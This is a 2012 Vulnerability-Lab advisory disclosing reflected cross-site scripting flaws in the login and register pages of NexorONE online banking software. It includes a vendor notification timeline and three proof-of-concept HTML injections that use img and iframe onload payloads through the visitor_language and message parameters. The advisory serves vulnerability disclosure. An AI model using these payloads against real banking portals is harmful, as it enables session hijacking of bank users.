Document Title: =============== NexorONE Online Banking - Multiple Cross Site Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=304 Release Date: ============= 2012-02-04 Vulnerability Laboratory ID (VL-ID): ==================================== 304 Product & Service Introduction: =============================== NexorONE is the leading online banking software provider for Private International banks, Offshore Financian Institutions, Savings and Loans, Credit unions, Investmenet Fund Managers and Payement Processing Companies. NexorONE has already been demployed to more than 200 financial entities worldwide, spread out throught 20 countries and in 12 different languages. with this market experience we know we can fulfill your business demands. (Copy of the Vendor Homepage: https://www.nexorone.com/ ) Abstract Advisory Information: ============================== Vulnerability-Lab Team (Chokri B.A.) discovered multiple non-persistent Cross Site Scripting vulnerabilities on the NexorONE Online Banking Software. Vulnerability Disclosure Timeline: ================================== 2011-10-05: Vendor Notification 1 2011-11-13: Vendor Notification 2 2011-12-17: Vendor Notification 3 2012-02-04: Public or Non-Public Disclosure Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent cross site scripting vulnerability is detected on the NexorONE Online Banking Software. Successful exploitation of the vulnerability allows an attacker to hijack user/mod/admin sessions of the portal. Vulnerable file(s): [+] login.php Vulnerable Param(s): [+] ?visitor_language= [+] ?message= Picture(s): ../1.png ../2.png ../3.png Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers with required user inter action. For demonstration or reproduce ... PoC 1: <div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\ "><img src=http://www.vulnerability-lab.com/gfx/partners/vlab.png>" tabindex="4">_REGISTER</a> <=[x] </div></form> PoC 2: <div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\\\ "><iframe src=http://www.vulnerability-lab.com onload=alert(vulnerabilitylab) height=800px width=900px> <=[x] " tabindex="4">_REGISTER</a></div></form> PoC 3: <div id="login"> <table cellspacing="0" class="message"><tr><td><center>Registration_successful> <iframe src=http://www.vulnerability-lab.com onload=\"alert(vulnerabilitylab);\" height=\"800px\" width=\"900px\"> <=[x] </center></td></tr></table> Security Risk: ============== The security risk of the non-reflective cross site scripting vulnerabilities are estimated as medium. Credits & Authors: ================== Vulnerability Research Laboratory - Chokri B.A. (Me!ster the White) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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